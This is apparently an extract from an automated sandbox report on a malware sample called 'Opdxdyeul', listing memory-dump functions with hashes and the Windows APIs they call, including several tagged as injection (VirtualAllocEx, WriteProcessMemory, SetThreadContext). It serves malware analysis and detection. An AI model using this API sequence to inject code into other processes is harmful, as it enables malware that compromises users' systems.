Snapshot File: hcaresult_0_2_5920000_Opdxdyeul.jbxd

Similarity

API ID:
String ID: D$N
API String ID: 0-3898503487
Opcode ID: 25b623adcd3b0119dac9cf1a1460de9dae82b47354ad5a0231f14d5111bfa836
Instruction ID: 64a3c6c63f5b61a86f58453568de5719263eb6afab064f579cace3a682006562
Opcode Fuzzy Hash: 25b623adcd3b0119dac9cf1a1460de9dae82b47354ad5a0231f14d5111bfa836
Instruction Fuzzy Hash: 4FF03770919368CFCB21DB25E94A7AABBFABB46300F0055D9E149A6245CBB44B84CF02

Function 059244E7 Relevance: 2.5, Strings: 2, Instructions: 24
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

D, xrefs: 05925658
N, xrefs: 05925628

Memory Dump Source

Source File: 00000000.00000002.2390621824.0000000005920000.00000040.00000800.00020000.00000000.sdmp, Offset: 05920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5920000_Opdxdyeul.jbxd

Similarity

API ID:
String ID: D$N
API String ID: 0-3898503487
Opcode ID: b981c38fd1cf27d54d9614a931899d31ed24e00aad91af2e5e9d70ab8aa189e6
Instruction ID: ab234b77eebeb09e5b6d4cc1f7cb53b04ccd46f96a62a423b37105ee076c1fec
Opcode Fuzzy Hash: b981c38fd1cf27d54d9614a931899d31ed24e00aad91af2e5e9d70ab8aa189e6
Instruction Fuzzy Hash: 2DF0F9B4915268CFCB21DF25D949799BBF6BB45300F005598E149A6244CBB44E848F01

Function 058D049D Relevance: 1.8, APIs: 1, Instructions: 263
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 058D070F

Memory Dump Source

Source File: 00000000.00000002.2390394187.00000000058D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 058D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_58d0000_Opdxdyeul.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: dbbfa118fa581cac3c6f54b29e8d72c1ec9c45f00ccddba3c9a45b1e63f84254
Instruction ID: 61b25618a3e53eb7ef82b026e072786d1e65c2abdad11328c23e82e3867611ab
Opcode Fuzzy Hash: dbbfa118fa581cac3c6f54b29e8d72c1ec9c45f00ccddba3c9a45b1e63f84254
Instruction Fuzzy Hash: A6A10EB0D00219CFDB10CFA9C889BEEBBF1BB49310F109169E859E7280EB758985CF55

Function 058D04A8 Relevance: 1.8, APIs: 1, Instructions: 261
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 058D070F

Memory Dump Source

Source File: 00000000.00000002.2390394187.00000000058D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 058D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_58d0000_Opdxdyeul.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: fbb3343e635cf3017e4a5b25b974b095aa11ccb9521bc1fd73395a9385dafa11
Instruction ID: 00c23c3dad86c9be2f3036844d1aa869d31d22d1d4f006c909aea76b5f56ef89
Opcode Fuzzy Hash: fbb3343e635cf3017e4a5b25b974b095aa11ccb9521bc1fd73395a9385dafa11
Instruction Fuzzy Hash: E5A1FF70D00219DFDB10CFA9C849BEEBBF1BB49310F109169E859A7280EB758985CF95

Function 058D238D Relevance: 1.7, APIs: 1, Instructions: 155
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(?,?,?,?,?,?,?), ref: 058D24DC

Memory Dump Source

Source File: 00000000.00000002.2390394187.00000000058D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 058D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_58d0000_Opdxdyeul.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 7d82b3c7613a8ce005b4cf6336f6d418a95d61af02ee853de5564152ce831d5b
Instruction ID: bfac5ec8d2c716af1ba50ba16d7b601ab15553f90c3a0529f8cadadb1ebc2bd1
Opcode Fuzzy Hash: 7d82b3c7613a8ce005b4cf6336f6d418a95d61af02ee853de5564152ce831d5b
Instruction Fuzzy Hash: 0451CDB4D042199FDF20CFA9D984AAEFBF2BB49300F209129E819B7250DB749945CF54

Function 058D2398 Relevance: 1.7, APIs: 1, Instructions: 153
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(?,?,?,?,?,?,?), ref: 058D24DC

Memory Dump Source

Source File: 00000000.00000002.2390394187.00000000058D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 058D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_58d0000_Opdxdyeul.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 635b95b5483da0f3523f92de154ab000f3e6506452981994df6f98d5da8e94e5
Instruction ID: 598a83c64a686bdd46f7dccb295b2d8a67449dc71493942578641f499c4ff777
Opcode Fuzzy Hash: 635b95b5483da0f3523f92de154ab000f3e6506452981994df6f98d5da8e94e5
Instruction Fuzzy Hash: E851CDB4D042199FDF20CFA9D984AAEFBF2BF49300F20A129E819B7240DB749945CF54

Function 058D25E5 Relevance: 1.6, APIs: 1, Instructions: 148
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileMappingA.KERNEL32(?,?,?,?,?,?), ref: 058D2726

Memory Dump Source

Source File: 00000000.00000002.2390394187.00000000058D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 058D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_58d0000_Opdxdyeul.jbxd

Similarity

API ID: CreateFileMapping
String ID:
API String ID: 524692379-0
Opcode ID: 19741d7f5954c90fdaecfdbd6d11ce86bad19026a63c6d0acea77b86c7839e34
Instruction ID: d19637c99f3286758b5a6d50853c4a04b6294f5a133423ad8ac69167455c686f
Opcode Fuzzy Hash: 19741d7f5954c90fdaecfdbd6d11ce86bad19026a63c6d0acea77b86c7839e34
Instruction Fuzzy Hash: E951E0B8D043189FDF20DFA9D985AAEFBF1BF49300F109029E819AB240DB759985CF55

Function 058D25F0 Relevance: 1.6, APIs: 1, Instructions: 146
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileMappingA.KERNEL32(?,?,?,?,?,?), ref: 058D2726

Memory Dump Source

Source File: 00000000.00000002.2390394187.00000000058D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 058D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_58d0000_Opdxdyeul.jbxd

Similarity

API ID: CreateFileMapping
String ID:
API String ID: 524692379-0
Opcode ID: ab864c8dd732c4a0b70d8cb74dff5ec7e216982413cb313b05f0e9fcc21b1729
Instruction ID: a31287e7a57da342cbb34aa898dc9cec77f187b8f626bc8099285c9c95cb4a35
Opcode Fuzzy Hash: ab864c8dd732c4a0b70d8cb74dff5ec7e216982413cb313b05f0e9fcc21b1729
Instruction Fuzzy Hash: 9151EEB8D043189FDF20DFA9D884AAEFBF1BF09300F109029E819AB240DB759885CF54

Function 058D0F19 Relevance: 1.6, APIs: 1, Instructions: 118injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNELBASE(?,?,?,?,?), ref: 058D0FF3

Memory Dump Source

Source File: 00000000.00000002.2390394187.00000000058D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 058D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_58d0000_Opdxdyeul.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: b00ba429f9bf023ab545a8d4e3329c9f8ffa16eb5132063a28cba393ba31afbe
Instruction ID: ffd405c8590719e50836bda52c6f7efc4cf38c737a6c129acfe58434c012aa06
Opcode Fuzzy Hash: b00ba429f9bf023ab545a8d4e3329c9f8ffa16eb5132063a28cba393ba31afbe
Instruction Fuzzy Hash: 9941B8B5D01258DFCF00CFA9D984ADEFBF1BB49310F20902AE819B7240D779AA45CB64

Function 058D0F20 Relevance: 1.6, APIs: 1, Instructions: 116injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNELBASE(?,?,?,?,?), ref: 058D0FF3

Memory Dump Source

Source File: 00000000.00000002.2390394187.00000000058D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 058D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_58d0000_Opdxdyeul.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 962e4ded3d103be37efc02a657bf1ee4a08f2282a874ffd00d1aa3f5fa472c80
Instruction ID: ed3351f5e9fffe5a1217f89aa54f8b55dff686b5f8655473283ee9b6be1388fb
Opcode Fuzzy Hash: 962e4ded3d103be37efc02a657bf1ee4a08f2282a874ffd00d1aa3f5fa472c80
Instruction Fuzzy Hash: E441A8B5D05258DFDF00CFA9D984ADEFBF1BB49310F20902AE819B7240D779AA45CB64

Function 058D0DB8 Relevance: 1.6, APIs: 1, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 058D0E6A

Memory Dump Source

Source File: 00000000.00000002.2390394187.00000000058D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 058D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_58d0000_Opdxdyeul.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 7c033886a4ce20c91505eec6f1e4b86e501dc2f8a3f5f20db00d07536624dbd6
Instruction ID: 3ff855812acd121f6a6d648b55d842048ff3ca71f920f1a0a5a1c1c073ae4fc4
Opcode Fuzzy Hash: 7c033886a4ce20c91505eec6f1e4b86e501dc2f8a3f5f20db00d07536624dbd6
Instruction Fuzzy Hash: FE31A7B9D00258DFCF10CFA9D980ADEFBB1BB49310F10A02AE915B7200D775A901CF69

Function 058D0DC0 Relevance: 1.6, APIs: 1, Instructions: 101memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 058D0E6A

Memory Dump Source

Source File: 00000000.00000002.2390394187.00000000058D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 058D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_58d0000_Opdxdyeul.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: c4e888012455d0be9bc886dae77ee15364631f98a783d273a8a68bc167c42eb1
Instruction ID: aa5f1a10ce605e9988b13a9001c9ab0bafa922de412d1dadba8ba5d12a0f1785
Opcode Fuzzy Hash: c4e888012455d0be9bc886dae77ee15364631f98a783d273a8a68bc167c42eb1
Instruction Fuzzy Hash: 0A3197B9D04259DFCF10CFA9D984ADEFBB1BB49310F10A42AE815B7200D775A901CF68

Function 058D1408 Relevance: 1.6, APIs: 1, Instructions: 101memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 058D14B4

Memory Dump Source

Source File: 00000000.00000002.2390394187.00000000058D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 058D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_58d0000_Opdxdyeul.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 003ebe412e057ed705964c5dd905f1023e0d7b0ff87adc7e0056d840c83088a1
Instruction ID: 016e6288dbaa0f8d97fdca35ba66de522e2dfd827898692c4ed10511e0024762
Opcode Fuzzy Hash: 003ebe412e057ed705964c5dd905f1023e0d7b0ff87adc7e0056d840c83088a1
Instruction Fuzzy Hash: 4031C9B5D00258DFCB10CFAAD984AEEFBB1AF49310F14902AE819B7200D779A945CF64

Function 058D2838 Relevance: 1.6, APIs: 1, Instructions: 101fileCOMMON

Download Yara Rule

APIs

MapViewOfFile.KERNELBASE(?,?,?,?,?), ref: 058D28E2

Memory Dump Source

Source File: 00000000.00000002.2390394187.00000000058D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 058D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_58d0000_Opdxdyeul.jbxd

Similarity

API ID: FileView
String ID:
API String ID: 3314676101-0
Opcode ID: b7e4ce712881915240f2289858481cf63268ecca402fde889856b12e8338dee8
Instruction ID: 56d1d9a90f5e6e3753ea07d7e96c6c52c07656d776980b800d7d7a01069223f0
Opcode Fuzzy Hash: b7e4ce712881915240f2289858481cf63268ecca402fde889856b12e8338dee8
Instruction Fuzzy Hash: 453195B9D04259DFCF10CFA9D980ADEFBB1BB49310F10A42AE919B7210D775A901CF68

Function 058D2830 Relevance: 1.6, APIs: 1, Instructions: 101fileCOMMON

Download Yara Rule

APIs

MapViewOfFile.KERNELBASE(?,?,?,?,?), ref: 058D28E2

Memory Dump Source

Source File: 00000000.00000002.2390394187.00000000058D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 058D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_58d0000_Opdxdyeul.jbxd

Similarity

API ID: FileView
String ID:
API String ID: 3314676101-0
Opcode ID: 6d86923c596d9a23fce9957a80088117b7db2231ac2fc2527dfbe746e681c173
Instruction ID: dc90a359c9076a01970a29506cc1a433e44a6ce0829dfb35555e33802805ba19
Opcode Fuzzy Hash: 6d86923c596d9a23fce9957a80088117b7db2231ac2fc2527dfbe746e681c173
Instruction Fuzzy Hash: 7D31A8B8D00259DFDF10CFA9D981A9EFBB1BB08310F10A42AE819B7210D775A901CF64

Function 058D1410 Relevance: 1.6, APIs: 1, Instructions: 98memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 058D14B4

Memory Dump Source

Source File: 00000000.00000002.2390394187.00000000058D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 058D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_58d0000_Opdxdyeul.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 113efdddec982d3296f222b9fe2683c96d17de76ce5e3f7accae873478c3b8d3
Instruction ID: 4ed237dbe22283ad11e4fad398652b53c9ee6391d53ade8d8c01abe46cd530d9
Opcode Fuzzy Hash: 113efdddec982d3296f222b9fe2683c96d17de76ce5e3f7accae873478c3b8d3
Instruction Fuzzy Hash: 0431C8B4D00258DFCF10CFAAD984AEEFBB1AF49310F10902AE818B7200D779A944CF64

Function 05A1D9A0 Relevance: 1.6, APIs: 1, Instructions: 96memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 05A1DA44

Memory Dump Source

Source File: 00000000.00000002.2390836135.0000000005A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5a10000_Opdxdyeul.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 65b50066518f34137cfc44c406d84be03a3f083f8c4e098cadccf7fc7a67b509
Instruction ID: 3df3ae6efa6ec6bda70e3fcaa3b845eff9c69c540dd4d1deeaca915393fb142d
Opcode Fuzzy Hash: 65b50066518f34137cfc44c406d84be03a3f083f8c4e098cadccf7fc7a67b509
Instruction Fuzzy Hash: CE31A8B4D052499FDF10CFA9D980ADEFBB1BB49310F14942AE818B7210D775A945CF58

Function 058D0858 Relevance: 1.6, APIs: 1, Instructions: 96threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,?), ref: 058D090F

Memory Dump Source

Source File: 00000000.00000002.2390394187.00000000058D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 058D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_58d0000_Opdxdyeul.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 2ae6473c5039d8b783b02480cea62b4a6b699ca58d9c6b9bf4814d05bcec79a8
Instruction ID: 4795ac3220ed03b6209f79c5520dbdea97eeb89c619ed8b062cd2e981d810d69
Opcode Fuzzy Hash: 2ae6473c5039d8b783b02480cea62b4a6b699ca58d9c6b9bf4814d05bcec79a8
Instruction Fuzzy Hash: 2541CBB5D05258DFDB10CFA9D884AEEFBF0BB48310F14802AE819B7200D778A945CFA4

Function 058D0860 Relevance: 1.6, APIs: 1, Instructions: 94threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,?), ref: 058D090F

Memory Dump Source

Source File: 00000000.00000002.2390394187.00000000058D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 058D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_58d0000_Opdxdyeul.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 2ce069392f6e28e6be0aa9009227c0c780e3d80aa4d3fa9f0dfbbbb41d1a3d8c
Instruction ID: c8f2e8cd13dd233ca05dab31ec40f80b3a050d37072f6e494edb68e0e16530c5
Opcode Fuzzy Hash: 2ce069392f6e28e6be0aa9009227c0c780e3d80aa4d3fa9f0dfbbbb41d1a3d8c
Instruction Fuzzy Hash: 1E31ABB5D01259DFDB10CFA9D984AEEFBF1BB48310F14802AE419B7240D778A945CF64

Function 058FCE08 Relevance: 1.6, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

SleepEx.KERNELBASE(?,?), ref: 058FCEA2

Memory Dump Source

Source File: 00000000.00000002.2390526315.00000000058F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 058F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_58f0000_Opdxdyeul.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 38e460f4e71e5fc12e3b0e1d2ade22582a841b1a7f2fa41d7fe33c338d0d669d
Instruction ID: 8dfdab6cd1fd67cfd6051bbefc837840f24ac4e64f02d4c3ebb4fba1b976b012
Opcode Fuzzy Hash: 38e460f4e71e5fc12e3b0e1d2ade22582a841b1a7f2fa41d7fe33c338d0d669d
Instruction Fuzzy Hash: 4931D7B5D052199FDB10CFA9D980AAEBBF1BF48310F10942AE814B7240C779AA05CFA4

Function 058FCE10 Relevance: 1.6, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

SleepEx.KERNELBASE(?,?), ref: 058FCEA2

Memory Dump Source

Source File: 00000000.00000002.2390526315.00000000058F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 058F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_58f0000_Opdxdyeul.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 1436422ab460ec2f36c38c39c5249f959a646bac37ae8301b6a00ab871849320
Instruction ID: ac36d59f92735094b833d85f67de56e0bd77c5ce4b5448d1ae1a336d7283ea83
Opcode Fuzzy Hash: 1436422ab460ec2f36c38c39c5249f959a646bac37ae8301b6a00ab871849320
Instruction Fuzzy Hash: 2431DAB4D052199FDB10CFA9D980AEEFBF5BF48310F10942AE814B7200C779A905CFA4

Function 01292AE2 Relevance: 1.4, Strings: 1, Instructions: 116COMMON

Download Yara Rule

Strings

, xrefs: 01292C6A

Memory Dump Source

Source File: 00000000.00000002.2335612478.0000000001290000.00000040.00000800.00020000.00000000.sdmp, Offset: 01290000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1290000_Opdxdyeul.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: 99dcd5fa5fb7466a50417abdc98e398392ce193d32e5281d677c6073d6533476
Instruction ID: c4d8c75386aad3c69a5dd267c376b32e6d469353fc2a55b17aa648c96a97d0d5
Opcode Fuzzy Hash: 99dcd5fa5fb7466a50417abdc98e398392ce193d32e5281d677c6073d6533476
Instruction Fuzzy Hash: 4C413670A2424AEFCF09CFECC4946ADBBF1BF44300F2485AAC515EB255E7749A46CB51

Function 05A1EF68 Relevance: 1.3, APIs: 1, Instructions: 94memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(?,?,?,?), ref: 05A1F007

Memory Dump Source

Source File: 00000000.00000002.2390836135.0000000005A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5a10000_Opdxdyeul.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: e8e9079be414f83432e84df6878c44abd9ca5994c1ef27d0a2c13515103f9079
Instruction ID: 073f416b4be3661bf1a4e82657d0c1410e6658fba06d3983d1e7d8359d80daa5
Opcode Fuzzy Hash: e8e9079be414f83432e84df6878c44abd9ca5994c1ef27d0a2c13515103f9079
Instruction Fuzzy Hash: 9631A9B8D00249DFDF10CFA9D880A9EFBB1BF49310F10902AE819B7210D775A941CF68

Function 058D0080 Relevance: 1.3, APIs: 1, Instructions: 77COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE(?), ref: 058D0106

Memory Dump Source

Source File: 00000000.00000002.2390394187.00000000058D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 058D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_58d0000_Opdxdyeul.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: e7208cadc95239629b2dee55583f6f08600fd5d1362430f4ff6c6fb29b9f313e
Instruction ID: e4da4c7bdbc1d25b0cf397c6ce729804b79f2a41e1aa2496c58f86067e505a52
Opcode Fuzzy Hash: e7208cadc95239629b2dee55583f6f08600fd5d1362430f4ff6c6fb29b9f313e
Instruction Fuzzy Hash: 9231FEB4C04259DFDF10CFAAD885AEEFBF0AB48310F14902AE815B7200D778A900CF64

Function 058D0088 Relevance: 1.3, APIs: 1, Instructions: 75COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE(?), ref: 058D0106

Memory Dump Source

Source File: 00000000.00000002.2390394187.00000000058D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 058D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_58d0000_Opdxdyeul.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 42aa15424e52ed2b906b58da259405c9042cb960958ef318d025c489e2c70473
Instruction ID: f6d77476e8871adf7ccb8c859c5953129044ad98cd6c461dcd6cf5878af145a0
Opcode Fuzzy Hash: 42aa15424e52ed2b906b58da259405c9042cb960958ef318d025c489e2c70473
Instruction Fuzzy Hash: 1231DCB4C04219DFDF10CFAAD885AEEFBB0AB48310F14902AE819B7200D778A900CF64

Function 062601A7 Relevance: 1.3, Strings: 1, Instructions: 44COMMON

Download Yara Rule

Strings

C, xrefs: 06260218

Memory Dump Source

Source File: 00000000.00000002.2392511732.0000000006260000.00000040.00000800.00020000.00000000.sdmp, Offset: 06260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6260000_Opdxdyeul.jbxd

Similarity

API ID:
String ID: C
API String ID: 0-1037565863
Opcode ID: 193923ba946fbbf5a11e156fc9208c5269579710637c17d4a2c20f0ccf2c3a2c
Instruction ID: 47fa11e938a35498a80fdf0c91c9a952dcbe469a3b2a025088edad5b6ba0738a
Opcode Fuzzy Hash: 193923ba946fbbf5a11e156fc9208c5269579710637c17d4a2c20f0ccf2c3a2c
Instruction Fuzzy Hash: DB11BD78D14228CFEBA4CFA5C984BD8BBB1FB49304F0080E9E919A7244C7719AC2CF40

Function 05C716EE Relevance: 1.3, Strings: 1, Instructions: 29COMMON

Download Yara Rule

Strings

t, xrefs: 05C7177A

Memory Dump Source

Source File: 00000000.00000002.2391082424.0000000005C70000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c70000_Opdxdyeul.jbxd

Similarity

API ID:
String ID: t
API String ID: 0-2238339752
Opcode ID: 2e801de66736862bf59a9ae8674be7178a21e1a254d2e9c41e7a840cf2b8e30b
Instruction ID: eaf8129227f524df65fe6cd3b65c8433fd68545c071df4a8268c550c91ac9ca5
Opcode Fuzzy Hash: 2e801de66736862bf59a9ae8674be7178a21e1a254d2e9c41e7a840cf2b8e30b
Instruction Fuzzy Hash: C801D6B8A052699FCB64DF58D998A89BBB1FB49300F5184D9A519B3384DB709F80CF41

Function 06260FAC Relevance: 1.3, Strings: 1, Instructions: 29COMMON

Download Yara Rule

Strings

$, xrefs: 06260FBA

Memory Dump Source

Source File: 00000000.00000002.2392511732.0000000006260000.00000040.00000800.00020000.00000000.sdmp, Offset: 06260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6260000_Opdxdyeul.jbxd

Similarity

API ID:
String ID: $
API String ID: 0-3993045852
Opcode ID: 01ee7d6b02c6793e5066769c94cc68c13c00bfa70cb146c422af749552e60465
Instruction ID: 257a338b8ef9c2cb8689a62ef6e59685f5a741be83b9097223c951a8aceaa022
Opcode Fuzzy Hash: 01ee7d6b02c6793e5066769c94cc68c13c00bfa70cb146c422af749552e60465
Instruction Fuzzy Hash: 3401F670910218CFEBA0CF19C998FD8B7F5AB08308F1480DAE809A3241C7719EC6CF14

Function 05928BE3 Relevance: 1.3, Strings: 1, Instructions: 28COMMON

Download Yara Rule

Strings

,, xrefs: 05928BE8

Memory Dump Source

Source File: 00000000.00000002.2390621824.0000000005920000.00000040.00000800.00020000.00000000.sdmp, Offset: 05920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5920000_Opdxdyeul.jbxd

Similarity

API ID:
String ID: ,
API String ID: 0-3772416878
Opcode ID: 76859987df348a56188a8e6e1e5f8eafd1e963dcfda2849588ce64ec604f2f72
Instruction ID: cadd8a2df730a8755ef472e66e133ab1b8450e0f3d74cfd80dc7503598693ffa
Opcode Fuzzy Hash: 76859987df348a56188a8e6e1e5f8eafd1e963dcfda2849588ce64ec604f2f72
Instruction Fuzzy Hash: DEF0B830D08248ABCB50DFA8D408BACFBF8AB49310F10C1A9D8689B385D3729A42DF41

Function 05921166 Relevance: 1.3, Strings: 1, Instructions: 21COMMON

Download Yara Rule

Strings

b, xrefs: 05923CD2

Memory Dump Source

Source File: 00000000.00000002.2390621824.0000000005920000.00000040.00000800.00020000.00000000.sdmp, Offset: 05920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5920000_Opdxdyeul.jbxd

Similarity

API ID:
String ID: b
API String ID: 0-1908338681
Opcode ID: 68bac317bd8c4292cbccdcdcf66eb588aea4e006574332a230a6dcb3a05bcf7c
Instruction ID: 2d61880e2940a190dabc176bc659cc36b53607843998b89cd436c5290789b425
Opcode Fuzzy Hash: 68bac317bd8c4292cbccdcdcf66eb588aea4e006574332a230a6dcb3a05bcf7c
Instruction Fuzzy Hash: 0EF0D470815368DFDB20DF24D8897AEBBB2FB45301F0055D9E80AA2245DB741EC4CF01

Function 05C71E8F Relevance: 1.3, Strings: 1, Instructions: 20COMMON

Download Yara Rule

Strings

s, xrefs: 05C71EDF

Memory Dump Source

Source File: 00000000.00000002.2391082424.0000000005C70000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c70000_Opdxdyeul.jbxd

Similarity

API ID:
String ID: s
API String ID: 0-453955339
Opcode ID: 22dcf6999b10ea29925a399cd7dc03799efcf12d9023df8ea048f527bbbe847b
Instruction ID: f3604695b5afff48acf29df23f4200375c8d4389e6e24241a88524c5d4718fca
Opcode Fuzzy Hash: 22dcf6999b10ea29925a399cd7dc03799efcf12d9023df8ea048f527bbbe847b
Instruction Fuzzy Hash: 12F09D74911229DFEB60CF28C889B99BBB2AB48310F1045E5D40DA3640DB315AD4CF45

Function 062602C2 Relevance: 1.3, Strings: 1, Instructions: 20COMMON

Download Yara Rule

Strings

*, xrefs: 0626030E

Memory Dump Source

Source File: 00000000.00000002.2392511732.0000000006260000.00000040.00000800.00020000.00000000.sdmp, Offset: 06260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6260000_Opdxdyeul.jbxd

Similarity

API ID:
String ID: *
API String ID: 0-163128923
Opcode ID: 5177d8549bea145770a23f3954cf56e050a6278b6659a8630e1aa86a542c7fa9
Instruction ID: 384c4a82c1afd0bdb7b2614fa91f4e07a7a54f1b37e3f1102d100974502bbff4
Opcode Fuzzy Hash: 5177d8549bea145770a23f3954cf56e050a6278b6659a8630e1aa86a542c7fa9
Instruction Fuzzy Hash: 96F0153180060AEBCF119F91C814AD9B771FF45304F00C685A91933210DB71AAD6DF90

Function 05825C18 Relevance: 1.3, Strings: 1, Instructions: 15COMMON

Download Yara Rule

Strings

Z, xrefs: 05826C36

Memory Dump Source

Source File: 00000000.00000002.2382740465.0000000005820000.00000040.00000800.00020000.00000000.sdmp, Offset: 05820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5820000_Opdxdyeul.jbxd

Similarity

API ID:
String ID: Z
API String ID: 0-1505515367
Opcode ID: 0170718b4a686becaa53d72a2a879617bae16d9d051ab790ffe032b33e5e4c26
